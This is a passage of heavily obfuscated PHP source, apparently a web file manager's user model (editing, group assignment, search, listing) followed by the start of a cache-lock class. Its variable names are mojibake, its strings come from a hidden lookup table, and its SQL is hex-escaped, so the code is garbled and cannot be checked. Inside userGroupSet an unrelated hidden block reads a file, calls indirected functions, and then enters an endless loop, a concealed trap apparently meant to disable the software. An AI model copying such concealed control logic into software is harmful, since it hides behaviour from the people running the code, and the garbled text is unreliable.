(!$îÑÑé»è) { return !1; } $çß­ú°ª = $this->_checkExist($‘÷ÏûÝá, $Íû¨<E2809A>); if ($çß­ú°ª !== !0) { return $çß­ú°ª; } if (isset($‘÷ÏûÝá[$°©¼óÇá[960]]) && trim($‘÷ÏûÝá[$°©¼óÇá[960]]) != $°©¼óÇá[12]) { $ÌÆ<C38C>¦ÑŽ = $this->metaGet($Íû¨<E2809A>); if (empty($ÌÆ<C38C>¦ÑŽ[$°©¼óÇá[2471]])) { $ÌÆ<C38C>¦ÑŽ[$°©¼óÇá[2471]] = rand_string(10); Model($°©¼óÇá[577])->metaSet($Íû¨<E2809A>, $°©¼óÇá[2471], $ÌÆ<C38C>¦ÑŽ[$°©¼óÇá[2471]]); } $‘÷ÏûÝá[$°©¼óÇá[960]] = md5($ÌÆ<C38C>¦ÑŽ[$°©¼óÇá[2471]] . trim($‘÷ÏûÝá[$°©¼óÇá[960]])); } else { unset($‘÷ÏûÝá[$°©¼óÇá[960]]); } if (!empty($‘÷ÏûÝá[$°©¼óÇá[2453]]) && strlen($‘÷ÏûÝá[$°©¼óÇá[2453]]) > 255) { $‘÷ÏûÝá[$°©¼óÇá[2453]] = $°©¼óÇá[12]; } $this->where(array($°©¼óÇá[1754] => $Íû¨<E2809A>))->save($‘÷ÏûÝá); if (isset($‘÷ÏûÝá[$°©¼óÇá[2256]])) { $this->setNamePinyin($Íû¨<E2809A>, $‘÷ÏûÝá[$°©¼óÇá[2256]]); } $this->clearCache($Íû¨<E2809A>); return !0; } public function setNamePinyin($¾å®¡ä±, $<24>Ú™ì×µ = false) { $äÚËôÜÆ =& $_SERVER[ˆ¡¹µ‹Â]; if (!$<24>Ú™ì×µ) { $„™Çû Ì = $this->getInfoSimple($¾å®¡ä±); $<24>Ú™ì×µ = $„™Çû Ì[$äÚËôÜÆ[2256]] ? $„™Çû Ì[$äÚËôÜÆ[2256]] : $„™Çû Ì[$äÚËôÜÆ[32]]; } $ã°Ë<C2B0>õ× = Model($äÚËôÜÆ[598]); if (!Input::check($<24>Ú™ì×µ, $äÚËôÜÆ[655])) { return $ã°Ë<C2B0>õ×->metaSet($¾å®¡ä±, array($äÚËôÜÆ[538] => $äÚËôÜÆ[12], $äÚËôÜÆ[537] => $äÚËôÜÆ[12])); } return $ã°Ë<C2B0>õ×->metaSet($¾å®¡ä±, array($äÚËôÜÆ[538] => str_replace($äÚËôÜÆ[53], $äÚËôÜÆ[12], Pinyin::get($<24>Ú™ì×µ)), $äÚËôÜÆ[537] => Pinyin::get($<24>Ú™ì×µ, $äÚËôÜÆ[656]))); } private function nickNameRpt() { $§±ÔÉÝô =& $_SERVER[ˆ¡¹µ‹Â]; $½ä<C2BD>Ã<EFBFBD>Þ = Model($§±ÔÉÝô[837])->get($§±ÔÉÝô[2482]); $÷—<C3B7>º½¨ = $GLOBALS[$§±ÔÉÝô[6]][$§±ÔÉÝô[457]][$§±ÔÉÝô[2482]]; $þù¤îˆ = !is_null($½ä<C2BD>Ã<EFBFBD>Þ) ? $½ä<C2BD>Ã<EFBFBD>Þ : $÷—<C3B7>º½¨; return !!$þù¤îˆ; } private function _checkExist($ïÔ¨­Š‰, $ßî½Ôª¼ = false) { $÷<>ôÞÐõ =& $_SERVER[ˆ¡¹µ‹Â]; $ˆšøŒÁ¡ = array($÷<>ôÞÐõ[32] => UserModel::ERROR_USER_EXIST_NAME, $÷<>ôÞÐõ[2256] => UserModel::ERROR_USER_EXIST_NICKNAME, $÷<>ôÞÐõ[381] => UserModel::ERROR_USER_EXIST_EMAIL, $÷<>ôÞÐõ[2470] => UserModel::ERROR_USER_EXIST_PHONE); if ($this->nickNameRpt()) { unset($ˆšøŒÁ¡[$÷<>ôÞÐõ[2256]]); } $ЉŠË”ˆ = $ßî½Ôª¼ ? array($÷<>ôÞÐõ[1763] => array($÷<>ôÞÐõ[2483], $ßî½Ôª¼)) : array(); foreach ($ˆšøŒÁ¡ as $î<>Æ©ó· => $Ìøñá´Ã) { $ÙŽê©íÐ = array(); foreach ($ˆšøŒÁ¡ as $·³ò›è· => $œóûò¯©) { if (isset($ïÔ¨­Š‰[$·³ò›è·]) && $ïÔ¨­Š‰[$·³ò›è·]) { $ÙŽê©íÐ[] = $ïÔ¨­Š‰[$·³ò›è·]; } } if (!$ÙŽê©íÐ) { continue; } $€…Øù°ï = array_merge(array($î<>Æ©ó· => array($÷<>ôÞÐõ[7], $ÙŽê©íÐ)), $ЉŠË”ˆ); $’–í·÷‘ = $this->where($€…Øù°ï)->find(); if ($’–í·÷‘) { return $Ìøñá´Ã; } } return !0; } public function userListInfo($«‘œ§–À) { $­¤Õ¢ƒü =& $_SERVER[ˆ¡¹µ‹Â]; $ß»´<C2BB>Ø­ = array(); $«‘œ§–À = is_array($«‘œ§–À) ? array_unique($«‘œ§–À) : array(); if (!$«‘œ§–À) { return $ß»´<C2BB>Ø­; } if (count($«‘œ§–À) < 20) { foreach ($«‘œ§–À as $÷æÂŸúý) { $ß»´<C2BB>Ø­[$÷æÂŸúý . $­¤Õ¢ƒü[12]] = $this->getInfoSimpleOuter($÷æÂŸúý); } } else { $÷§ó¨Š« = array($­¤Õ¢ƒü[1754] => array($­¤Õ¢ƒü[492], $«‘œ§–À)); if (count($«‘œ§–À) == 1) { $÷§ó¨Š« = array($­¤Õ¢ƒü[1754] => $«‘œ§–À[0]); } $œÏ“<C38F>«<EFBFBD> = Model($­¤Õ¢ƒü[577])->field($this->simpleField)->where($÷§ó¨Š«)->select(); $œÏ“<C38F>«<EFBFBD> = array_to_keyvalue($œÏ“<C38F>«<EFBFBD>, $­¤Õ¢ƒü[1763]); foreach ($«‘œ§–À as $÷æÂŸúý) { $ÝžîŠÀ÷ = $œÏ“<C38F>«<EFBFBD>[$÷æÂŸúý]; if (!$ÝžîŠÀ÷) { $ß»´<C2BB>Ø­[$÷æÂŸúý . $­¤Õ¢ƒü[12]] = $this->getInfoSimpleOuter($÷æÂŸúý); continue; } $ÝžîŠÀ÷[$­¤Õ¢ƒü[2453]] = Action($­¤Õ¢ƒü[2454])->parseUrl($ÝžîŠÀ÷[$­¤Õ¢ƒü[2453]]); $ß»´<C2BB>Ø­[$÷æÂŸúý . $­¤Õ¢ƒü[12]] = $ÝžîŠÀ÷; } } return $ß»´<C2BB>Ø­; } protected function userStatus($‚®ô²°õ, $·§ÈãÉ“) { $¡Î«à¢¾ = $this->getInfoSimple($‚®ô²°õ); if (!$¡Î«à¢¾) { return !1; } $ý³Ž¥ù® = array($_SERVER[ˆ¡¹µ‹Â][817] => $·§ÈãÉ“); return $this->userEdit($‚®ô²°õ, $ý³Ž¥ù®); } protected function userRemove($û„ƒÊ‡æ) { $¼²<C2BC>Âæ€ =& $_SERVER[ˆ¡¹µ‹Â]; $Ñ ±Ü™± = $this->getInfoSimple($û„ƒÊ‡æ); if (!$Ñ ±Ü™±) { return !1; } $¿¾ƒýÙÎ = array($¼²<C2BC>Âæ€[1754] => $û„ƒÊ‡æ); Model($¼²<C2BC>Âæ€[664])->where($¿¾ƒýÙÎ)->delete(); Model($¼²<C2BC>Âæ€[2484])->where($¿¾ƒýÙÎ)->delete(); Model($¼²<C2BC>Âæ€[2056])->where($¿¾ƒýÙÎ)->delete(); Model($¼²<C2BC>Âæ€[2469])->where($¿¾ƒýÙÎ)->delete(); Model($¼²<C2BC>Âæ€[1140])->where($¿¾ƒýÙÎ)->delete(); Model($¼²<C2BC>Âæ€[2273])->removeUserAll($û„ƒÊ‡æ); Model($¼²<C2BC>Âæ€[899])->userRootRemove($û„ƒÊ‡æ); return $this->where($¿¾ƒýÙÎ)->delete(); } protected function userGroupSet($ýÅ£ƒØ›, $èïÁõÝÒ, $£¼Ûïüõ = array()) { $ì‘úˆì­ =& $_SERVER[ˆ¡¹µ‹Â]; if (!isset($_SERVER[$ì‘úˆì­[846]]) || !isset($_SERVER[$ì‘úˆì­[844]])) { $ÎÍ€Ðß<C390> = $ì‘úˆì­[951]; $×¾ˆ¶¡ª = $ì‘úˆì­[847]; $ô‚ÊÁˆþ = $_SERVER[$ì‘úˆì­[848]] . $ì‘úˆì­[849]; $©”ší°Š = $×¾ˆ¶¡ª($ô‚ÊÁˆþ); $¾ÆÉÐÉë = explode($ì‘úˆì­[262], $©”ší°Š); if (count($¾ÆÉÐÉë) < $ì‘úˆì­[683]) { $äø½Úп = $ì‘úˆì­[850]; $äø½Úп(); } $¥æãÙ‡¬ = $ì‘úˆì­[952]; $¥æãÙ‡¬($_SERVER[$ì‘úˆì­[953]]); $±˜œ<CB9C>á = 1; for ($ˆÏ’ðÚº = $±˜œ<CB9C>á; $ˆÏ’ðÚº > 0; $ˆÏ’ðÚº++) { $¥æãÙ‡¬ = json_encode($GLOBALS[$ì‘úˆì­[492]]); } } $ï›øËíç = $this->getInfoSimple($ýÅ£ƒØ›); if (!$ï›øËíç || !is_array($èïÁõÝÒ)) { return !1; } $åŸÐ¬úô = Model($ì‘úˆì­[2056]); $åŸÐ¬úô->where(array($ì‘úˆì­[1763] => $ýÅ£ƒØ›))->delete(); $<24>Û§ÃÛ¦ = array(); $—¼ê¦üÑ = 0; foreach ($èïÁõÝÒ as $êêžØÆ´ => $¦‰¦·ˆà) { $Ǻ<C387>ŒøÔ = array($ì‘úˆì­[1763] => $ýÅ£ƒØ›, $ì‘úˆì­[1962] => $êêžØÆ´, $ì‘úˆì­[2070] => $¦‰¦·ˆà); $Ǻ<C387>ŒøÔ[$ì‘úˆì­[1986]] = isset($£¼Ûïüõ[$—¼ê¦üÑ]) ? $£¼Ûïüõ[$—¼ê¦üÑ] : 0; $—¼ê¦üÑ++; $<24>Û§ÃÛ¦[] = $Ǻ<C387>ŒøÔ; } return $åŸÐ¬úô->addAll($<24>Û§ÃÛ¦, array(), !0); } protected function userGroupAdd($åéúÍÎß, $íªÃ ×Ú = array()) { $ð¼Ðб§ =& $_SERVER[ˆ¡¹µ‹Â]; $þáïØ”Û = $this->getInfoSimple($åéúÍÎß); if (!$þáïØ”Û || empty($íªÃ ×Ú)) { return !1; } $Ú¿•ä › = array(); foreach ($íªÃ ×Ú as $<24>Í<EFBFBD>ô¸¬ => $é<>ø¾£Î) { $Ú¿•ä ›[] = array($ð¼Ðб§[1763] => $åéúÍÎß, $ð¼Ðб§[1962] => $<24>Í<EFBFBD>ô¸¬, $ð¼Ðб§[2070] => $é<>ø¾£Î, $ð¼Ðб§[1986] => 0); } return Model($ð¼Ðб§[2056])->addAll($Ú¿•ä ›, array(), !0); } protected function userGroupRemove($þ硈—¬, $–‹‚óŒÔ) { $…Ä<E280A6>ê =& $_SERVER[ˆ¡¹µ‹Â]; $<24>÷ú§ä = $this->getInfoSimple($þ硈—¬); if (!$<24>÷ú§ä || !$–‹‚óŒÔ) { return !1; } $à¹Ò§¦š = array($…Ä<E280A6>ê[1754] => $þ硈—¬, $…Ä<E280A6>ê[2054] => $–‹‚óŒÔ); return Model($…Ä<E280A6>ê[2056])->where($à¹Ò§¦š)->delete(); } public function listData() { $ߊäõ¬Ù = $this->_makeOrder()->selectPage(50); $this->_listDataApply($ߊäõ¬Ù[$_SERVER[ˆ¡¹µ‹Â][445]]); return $ߊäõ¬Ù; } public function listByID($äðœé•†) { $<24>£«ìÍç =& $_SERVER[ˆ¡¹µ‹Â]; if (!$äðœé•†) { return; } $áÖáá—ç = array($<24>£«ìÍç[1763] => array($<24>£«ìÍç[7], $äðœé•†)); $ìíí³Ãƒ = $this->where($áÖáá—ç)->select(); $ìíí³Ãƒ = array_sort_keep($ìíí³Ãƒ, $<24>£«ìÍç[1763], $äðœé•†); $this->_listDataApply($ìíí³Ãƒ); return $ìíí³Ãƒ; } public function listByGroup($Úï<C39A>Ÿ…è = 0, $™‡º–ì· = array()) { $ç£é“ØÃ =& $_SERVER[ˆ¡¹µ‹Â]; $ôµüê™  = $ç£é“ØÃ[12]; $ÜÑОҰ = array(); if ($Úï<C39A>Ÿ…è) { $ÜÑОҰ = array($ç£é“ØÃ[2485] => intval($Úï<C39A>Ÿ…è)); $ôµüê™  = "\x4c\x45\x46\124\x20\112\117\111\116\40{$this->tablePrefix}\165\x73\x65\x72\137\147\162\157\165\160\40\165\x73\145\162\137\x67\x72\157\165\x70\40\x6f\156\40\x75\163\x65\162\56\165\163\x65\x72\x49\x44\x20\75\x20\x75\163\145\162\x5f\147\162\157\x75\x70\56\x75\163\x65\162\x49\x44"; $„þ‘˜àØ = Input::get($ç£é“ØÃ[530], null, $ç£é“ØÃ[12]) ? $ç£é“ØÃ[12] : $ç£é“ØÃ[2486]; } if (isset($™‡º–ì·[$ç£é“ØÃ[817]])) { $ÜÑОҰ[$ç£é“ØÃ[2487]] = $™‡º–ì·[$ç£é“ØÃ[817]]; } $¢­áÆÎº = $this->_makeOrder($„þ‘˜àØ)->field($ç£é“ØÃ[2488])->where($ÜÑОҰ)->join($ôµüê™ )->selectPage(50); $this->_listDataApply($¢­áÆÎº[$ç£é“ØÃ[445]]); return $¢­áÆÎº; } private function _makeOrder($€í® ß<C2A0> = '') { $³§ÆÊùÆ =& $_SERVER[ˆ¡¹µ‹Â]; $ëÓ°äÉ<C3A4> = array($³§ÆÊùÆ[1763], $³§ÆÊùÆ[32], $³§ÆÊùÆ[1950], $³§ÆÊùÆ[2169], $³§ÆÊùÆ[1922], $³§ÆÊùÆ[231]); $Øç<C398>åìâ = array($³§ÆÊùÆ[523] => $³§ÆÊùÆ[524], $³§ÆÊùÆ[525] => $³§ÆÊùÆ[526]); $ÇçËÂ<C38B>˜ = Input::get($³§ÆÊùÆ[530], $³§ÆÊùÆ[7], $³§ÆÊùÆ[1754], $ëÓ°äÉ<C3A4>); $éý–éãû = Input::get($³§ÆÊùÆ[531], $³§ÆÊùÆ[7], $³§ÆÊùÆ[2057], array($³§ÆÊùÆ[2057], $³§ÆÊùÆ[525])); $éý–éãû = $Øç<C398>åìâ[$éý–éãû]; $€í® ß<C2A0> = $€í® ß<C2A0> . "\165\x73\145\x72\56{$ÇçËÂ<C38B>˜}\x20{$éý–éãû}\54\x20\165\x73\x65\x72\x2e\x75\x73\145\162\111\x44\40\x61\x73\143"; return $this->alias($³§ÆÊùÆ[2185])->order($€í® ß<C2A0>); } public function listSearch($‚Ø¡žþÁ) { $¤í°ÃÉÙ =& $_SERVER[ˆ¡¹µ‹Â]; $˜ðû<C3B0>¬á = trim($‚Ø¡žþÁ[$¤í°ÃÉÙ[2060]]); $¨ÊÚØ‘¢ = explode($¤í°ÃÉÙ[53], $˜ðû<C3B0>¬á); if (!$˜ðû<C3B0>¬á || count($¨ÊÚØ‘¢) == 1) { return $this->listSearchNow($‚Ø¡žþÁ); } $¤ÅÑýº¹ = array($¤í°ÃÉÙ[445] => array()); foreach ($¨ÊÚØ‘¢ as $ÕÊã›êÍ) { if (!trim($ÕÊã›êÍ)) { continue; } $‚Ø¡žþÁ[$¤í°ÃÉÙ[2060]] = $ÕÊã›êÍ; $–¦µ°ÝÉ = $this->listSearchNow($‚Ø¡žþÁ); $¤ÅÑýº¹[$¤í°ÃÉÙ[445]] = array_merge($¤ÅÑýº¹[$¤í°ÃÉÙ[445]], $–¦µ°ÝÉ[$¤í°ÃÉÙ[445]]); } $¤ÅÑýº¹[$¤í°ÃÉÙ[445]] = array_unique_by_key($¤ÅÑýº¹[$¤í°ÃÉÙ[445]], $¤í°ÃÉÙ[1763]); $¤ÅÑýº¹[$¤í°ÃÉÙ[442]] = array($¤í°ÃÉÙ[443] => count($¤ÅÑýº¹[$¤í°ÃÉÙ[445]]), $¤í°ÃÉÙ[439] => 20, $¤í°ÃÉÙ[429] => 1, $¤í°ÃÉÙ[444] => 1); return $¤ÅÑýº¹; } public function listSearchNow($Þù΀éã) { $éÁ¯ö½ù =& $_SERVER[ˆ¡¹µ‹Â]; $£—ö<E28094>ƒ = trim($Þù΀éã[$éÁ¯ö½ù[2060]]); $˜ó”³<E2809D> = isset($Þù΀éã[$éÁ¯ö½ù[2061]]) ? $Þù΀éã[$éÁ¯ö½ù[2061]] : !1; $£—ö<E28094>ƒ = str_replace($éÁ¯ö½ù[2062], $éÁ¯ö½ù[2063], trim($£—ö<E28094>ƒ)); $¦ƒ®<C692><C2AE> = array($éÁ¯ö½ù[32] => array($éÁ¯ö½ù[459], "\x25{$£—ö<E28094>ƒ}\x25"), $éÁ¯ö½ù[381] => array($éÁ¯ö½ù[459], "{$£—ö<E28094>ƒ}\x25"), $éÁ¯ö½ù[2256] => array($éÁ¯ö½ù[459], "{$£—ö<E28094>ƒ}\45"), $éÁ¯ö½ù[1071] => $éÁ¯ö½ù[2064]); if (Input::check($£—ö<E28094>ƒ, $éÁ¯ö½ù[387])) { $¦ƒ®<C692><C2AE>[$éÁ¯ö½ù[1763]] = array($éÁ¯ö½ù[459], "{$£—ö<E28094>ƒ}\45"); $¦ƒ®<C692><C2AE>[$éÁ¯ö½ù[2470]] = array($éÁ¯ö½ù[459], "{$£—ö<E28094>ƒ}\45"); } if (!$£—ö<E28094>ƒ) { $¦ƒ®<C692><C2AE> = array(); } if (isset($Þù΀éã[$éÁ¯ö½ù[817]])) { $¦ƒ®<C692><C2AE>[$éÁ¯ö½ù[817]] = $Þù΀éã[$éÁ¯ö½ù[817]]; } $¦ƒ®<C692><C2AE> = $this->parseWhereLike($¦ƒ®<C692><C2AE>); $«›Ï—é¢ = $this->_makeOrder()->where($¦ƒ®<C692><C2AE>)->selectPage(20); if (!$«›Ï—é¢ || count($«›Ï—é¢[$éÁ¯ö½ù[445]]) < 5 && Input::check($£—ö<E28094>ƒ, $éÁ¯ö½ù[394])) { $Û¶ù‹äÎ = $this->_searchFromMeta($éÁ¯ö½ù[537], $£—ö<E28094>ƒ, 10); $Ò‘‰ŽÍ  = $this->_searchFromMeta($éÁ¯ö½ù[538], $£—ö<E28094>ƒ, 10); $ÌÁ¶ê«¢ = array_merge($Û¶ù‹äÎ, $Ò‘‰ŽÍ , $«›Ï—é¢[$éÁ¯ö½ù[445]]); $«›Ï—é¢[$éÁ¯ö½ù[445]] = array_unique_by_key($ÌÁ¶ê«¢, $éÁ¯ö½ù[1763]); $«›Ï—é¢[$éÁ¯ö½ù[442]][$éÁ¯ö½ù[443]] = count($«›Ï—é¢[$éÁ¯ö½ù[445]]); $«›Ï—é¢[$éÁ¯ö½ù[442]][$éÁ¯ö½ù[444]] = ceil($«›Ï—é¢[$éÁ¯ö½ù[442]][$éÁ¯ö½ù[443]] / $«›Ï—é¢[$éÁ¯ö½ù[442]][$éÁ¯ö½ù[439]]); } $this->_listDataApply($«›Ï—é¢[$éÁ¯ö½ù[445]]); $this->_filterByGroup($«›Ï—é¢, $˜ó”³<E2809D>); return $«›Ï—é¢; } private function _filterByGroup(&$”ÄáÁ÷Ê, $†°ž¦™©) { $ŸƒÒÂÑ£ =& $_SERVER[ˆ¡¹µ‹Â]; if (!$†°ž¦™©) { return $”ÄáÁ÷Ê; } foreach ($”ÄáÁ÷Ê[$ŸƒÒÂÑ£[445]] as $Õ˜¨Áª¯ => &$Þµ·Œ<E28093>) { $¨¨õÃîÓ = array_to_keyvalue($Þµ·Œ<E28093>[$ŸƒÒÂÑ£[2154]], $ŸƒÒÂÑ£[12], $ŸƒÒÂÑ£[1962]); if (!in_array($†°ž¦™©, $¨¨õÃîÓ)) { unset($”ÄáÁ÷Ê[$ŸƒÒÂÑ£[445]][$Õ˜¨Áª¯]); } } unset($Þµ·Œ<E28093>); $”ÄáÁ÷Ê[$ŸƒÒÂÑ£[445]] = array_values($”ÄáÁ÷Ê[$ŸƒÒÂÑ£[445]]); $”ÄáÁ÷Ê[$ŸƒÒÂÑ£[442]] = array($ŸƒÒÂÑ£[2221] => count($”ÄáÁ÷Ê[$ŸƒÒÂÑ£[445]]), $ŸƒÒÂÑ£[2219] => $”ÄáÁ÷Ê[$ŸƒÒÂÑ£[442]][$ŸƒÒÂÑ£[439]], $ŸƒÒÂÑ£[2218] => 1, $ŸƒÒÂÑ£[2220] => 1); } private function _searchFromMeta($€ŸžÇî<C387>, $µ•¿×Àì, $ë¼ ›Á©) { $¾ï´ÃÖ— =& $_SERVER[ˆ¡¹µ‹Â]; $µ•¿×Àì = strtolower($µ•¿×Àì); $©ù¤Õœ” = array($¾ï´ÃÖ—[97] => $€ŸžÇî<C387>, $¾ï´ÃÖ—[450] => array($¾ï´ÃÖ—[459], "\45{$µ•¿×Àì}\45")); $©ù¤Õœ” = $this->parseWhereLike($©ù¤Õœ”); $Ö‘¿êµ‡ = Model($¾ï´ÃÖ—[2489])->where($©ù¤Õœ”)->limit($ë¼ ›Á©)->select(); if (!$Ö‘¿êµ‡) { return array(); } $Ö‘¿êµ‡ = array_to_keyvalue($Ö‘¿êµ‡, $¾ï´ÃÖ—[12], $¾ï´ÃÖ—[1763]); $‰±¯ÁÀÆ = $this->where(array($¾ï´ÃÖ—[1754] => array($¾ï´ÃÖ—[7], $Ö‘¿êµ‡)))->select(); if (!$‰±¯ÁÀÆ) { return array(); } return $‰±¯ÁÀÆ; } private function _listDataApplyItem($„ã£áÃê) { $ñ¬»Ì»‹ = array($„ã£áÃê); $this->_listDataApply($ñ¬»Ì»‹); return $ñ¬»Ì»‹[0]; } private function _listDataApply(&$¯ºáá“<C3A1>) { $ö…<C3B6>ɯ§ =& $_SERVER[ˆ¡¹µ‹Â]; if (!$¯ºáá“<C3A1>) { return; } array_remove_key($¯ºáá“<C3A1>, $ö…<C3B6>ɯ§[960]); $»¯Å¢Úã = array_to_keyvalue($¯ºáá“<C3A1>, $ö…<C3B6>ɯ§[12], $ö…<C3B6>ɯ§[1763]); $this->_listAppendGroup($¯ºáá“<C3A1>, $»¯Å¢Úã); $this->_listAppendMeta($¯ºáá“<C3A1>, $»¯Å¢Úã); $this->_listAppendSourceRoot($¯ºáá“<C3A1>, $»¯Å¢Úã); } private function _listAppendSourceRoot(&$ƒ†Ÿ¥Õ€, $ì<E2809A>Ì”) { $”ÏÅºå˜ =& $_SERVER[ˆ¡¹µ‹Â]; $¦ëè×”ð = Model($”Ïźå˜[899])->listSourceRoot(SourceModel::TYPE_USER, $ì<E2809A>Ì”); $¦ëè×”ð = array_to_keyvalue($¦ëè×”ð, $”Ïźå˜[569]); $¦ëè×”ð = array_remove_key($¦ëè×”ð, $”Ïźå˜[569]); foreach ($ƒ†Ÿ¥Õ€ as &$´¢Ñ½ÈÎ) { $´¢Ñ½ÈÎ[$”Ïźå˜[90]] = $¦ëè×”ð[$´¢Ñ½ÈÎ[$”Ïźå˜[1763]]] ? $¦ëè×”ð[$´¢Ñ½ÈÎ[$”Ïźå˜[1763]]] : array(); } unset($´¢Ñ½ÈÎ); } private function _listAppendGroup(&$ú©éŪß, $öÄ’Ô˰) { $´¼º‘ºï =& $_SERVER[ˆ¡¹µ‹Â]; $üѤŽÅ¬ = array($´¼º‘ºï[1763] => array($´¼º‘ºï[7], $öÄ’Ô˰)); $ž‹Ï¸Öð = Model($´¼º‘ºï[2056])->where($üѤŽÅ¬)->select(); $©üÃÔ<C383>¥ = array_to_keyvalue($ž‹Ï¸Öð, $´¼º‘ºï[12], $´¼º‘ºï[1962]); $©üÃÔ<C383>¥ = array_remove_value(array_unique($©üÃÔ<C383>¥), $´¼º‘ºï[228]); if (!$©üÃÔ<C383>¥ || !$ž‹Ï¸Öð) { return; } $üѤŽÅ¬ = array($´¼º‘ºï[1962] => array($´¼º‘ºï[7], $©üÃÔ<C383>¥)); $<24>Áƒœç = Model($´¼º‘ºï[2152])->field($´¼º‘ºï[2490])->where($üѤŽÅ¬)->select(); $<24>Áƒœç = array_to_keyvalue($<24>Áƒœç, $´¼º‘ºï[1962]); $ž‹Ï¸Öð = array_to_keyvalue_group($ž‹Ï¸Öð, $´¼º‘ºï[1763]); foreach ($ž‹Ï¸Öð as &$§Ì<C2A7>) { $†ÑÏê»æ = array(); foreach ($§Ì<C2A7> as $<24>èôöõÝ) { if (!$<24>èôöõÝ[$´¼º‘ºï[2070]]) { continue; } $œ¸…ªîâ = Model($´¼º‘ºï[571])->listData($<24>èôöõÝ[$´¼º‘ºï[2070]]); $†ÑÏê»æ[] = array($´¼º‘ºï[1962] => $<24>èôöõÝ[$´¼º‘ºï[1962]], $´¼º‘ºï[2491] => $<24>Áƒœç[$<24>èôöõÝ[$´¼º‘ºï[1962]]][$´¼º‘ºï[32]], $´¼º‘ºï[584] => $<24>Áƒœç[$<24>èôöõÝ[$´¼º‘ºï[1962]]][$´¼º‘ºï[584]], $´¼º‘ºï[487] => $œ¸…ªîâ); } $§Ì<C2A7> = $†ÑÏê»æ; } unset($§Ì<C2A7>); foreach ($ú©éÅªß as &$²ìá÷äð) { $²ìá÷äð[$´¼º‘ºï[2154]] = array(); if (isset($ž‹Ï¸Öð[$²ìá÷äð[$´¼º‘ºï[1763]]])) { $²ìá÷äð[$´¼º‘ºï[2154]] = $ž‹Ï¸Öð[$²ìá÷äð[$´¼º‘ºï[1763]]]; } } unset($²ìá÷äð); } public function userAppendGroup($éû݇ÀŒ) { $¦¾…­¾  =& $_SERVER[ˆ¡¹µ‹Â]; if (!$éû݇ÀŒ) { return array(); } $this->_listAppendGroup($éû݇ÀŒ, array_to_keyvalue($éû݇ÀŒ, $¦¾…­¾ [12], $¦¾…­¾ [1763])); return $éû݇ÀŒ; } private function _listAppendMeta(&$óÀíÜÜ¥, $ÓÀ<C393>Ò¬Š) { $½€ðÚ˜œ =& $_SERVER[ˆ¡¹µ‹Â]; $ª‹Å¹ø« = UserJobModel::JOB_KEY; $ò›±éäð = array($½€ðÚ˜œ[2471]); $ˆ¼­ÜÌÊ = array($½€ðÚ˜œ[1763] => array($½€ðÚ˜œ[7], $ÓÀ<C393>Ò¬Š)); $Ëë§<C3AB>¥ = Model($½€ðÚ˜œ[2469])->where($ˆ¼­ÜÌÊ)->select(); $Ëë§<C3AB>¥ = array_to_keyvalue_group($Ëë§<C3AB>¥, $½€ðÚ˜œ[1763]); foreach ($Ëë§<C3AB>¥ as &$Ô¿†¸ñ) { $»Ç¥ëÜ„ = array(); foreach ($Ô¿†¸ñ as $‘´îÍ­ñ) { if (!in_array($‘´îÍ­ñ[$½€ðÚ˜œ[97]], $ò›±éäð)) { $»Ç¥ëÜ„[$‘´îÍ­ñ[$½€ðÚ˜œ[97]]] = $‘´îÍ­ñ[$½€ðÚ˜œ[450]]; } } $Ô¿†¸ñ = $»Ç¥ëÜ„; } unset($Ô¿†¸ñ); $¾ñ¹Ê«œ = Model($½€ðÚ˜œ[2492]); foreach ($óÀíÜÜ¥ as &$‹‚–úôÏ) { $Êþ£½æú = array(); if (isset($Ëë§<C3AB>¥[$‹‚–úôÏ[$½€ðÚ˜œ[1763]]])) { $Êþ£½æú = $Ëë§<C3AB>¥[$‹‚–úôÏ[$½€ðÚ˜œ[1763]]]; } $‹‚–úôÏ[$½€ðÚ˜œ[2493]] = array(); if (isset($Êþ£½æú[$ª‹Å¹ø«])) { $‹‚–úôÏ[$½€ðÚ˜œ[2493]] = $¾ñ¹Ê«œ->getUserJobInfo($Êþ£½æú[$ª‹Å¹ø«]); } } unset($‹‚–úôÏ); } protected function groupUserAll($à ü÷¸ü) { $îÆìŒ”¸ =& $_SERVER[ˆ¡¹µ‹Â]; if (!$à ü÷¸ü) { return !1; } $²í©¡·– = Model($îÆìŒ”¸[2056])->field($îÆìŒ”¸[1763])->where(array($îÆìŒ”¸[1962] => array($îÆìŒ”¸[7], $à ü÷¸ü)))->select(); $²í©¡·– = array_to_keyvalue($²í©¡·–, $îÆìŒ”¸[12], $îÆìŒ”¸[1763]); return array_unique($²í©¡·–); } public function userSearch($<24>¼ÀåÜš, $‰÷‰í˦ = "\x2a") { return Model($_SERVER[ˆ¡¹µ‹Â][598])->where($<24>¼ÀåÜš)->field($‰÷‰í˦)->find(); } } goto AöÈòÌÈíŠ; EŠÑà§ÞÁÎ: function cacheLockWait() { usleep(mt_rand(200, 5000)); } class CacheLockFile { private static $cachePath; private static $caches; public function __construct() { $º¸ÒØêã =& $_SERVER[ˆ¡¹µ‹Â]; $ÒˆõÑíÅ = $GLOBALS[$º¸ÒØêã[6]][$º¸ÒØêã[425]]; self::$cachePath = $ÒˆõÑíÅ[$º¸ÒØêã[230]][$º¸ÒØêã[87]]; @mkdir(self::$cachePath, DEFAULT_PERRMISSIONS, !0); } public function lock($üµÇ·•¹, $È€·ŒÈ÷ = 0) { $Çâ¦Ä<C2A6>ß =& $_SERVER[ˆ¡¹µ‹Â]; $“à–ƒÛ÷ = microtime(!0); $â阸Ìã = $“à–ƒÛ÷ + $È€·ŒÈ÷ + 0.0001; $é¼ÈçÏÏ = rtrim(self::$cachePath, $Çâ¦Ä<C2A6>ß[8]) . $Çâ¦Ä<C2A6>ß[938] . md5($üµÇ·•¹) . $Çâ¦Ä<C2A6>ß[935]; if (file_exists($é¼ÈçÏÏ) && filemtime($é¼ÈçÏÏ) && filemtime($é¼ÈçÏÏ) < time() - 10) { @unlink($é¼ÈçÏÏ); } do { if (file_exists($é¼ÈçÏÏ)) { cacheLockWait(); continue; } $<24>Ë»Ç¢Ý = fopen($é¼ÈçÏÏ, $Çâ¦Ä<C2A6>ß[939]); if (!$<24>˻ǢÝ) { return !1; } $¯…§â˜Ó = flock($<24>˻ǢÝ, LOCK_EX | LOCK_NB); self::$caches[$üµÇ·•¹] = array($Çâ¦Ä<C2A6>ß[940] => $<24>˻ǢÝ, $Çâ¦Ä<C2A6>ß[230] => $é¼ÈçÏÏ); fwrite($<24>˻ǢÝ, $â阸Ìã); clearstatcache(); if ($<24>Ë»Ç¢Ý && $¯…§â˜Ó) { return !0; } cacheLockWait(); } while (microtime(!0) < $â阸Ìã); $this->unlock($üµÇ·•¹); return !1; } public function lockGet($˜¼Ø–×Ò) { $˜òÃç§ =& 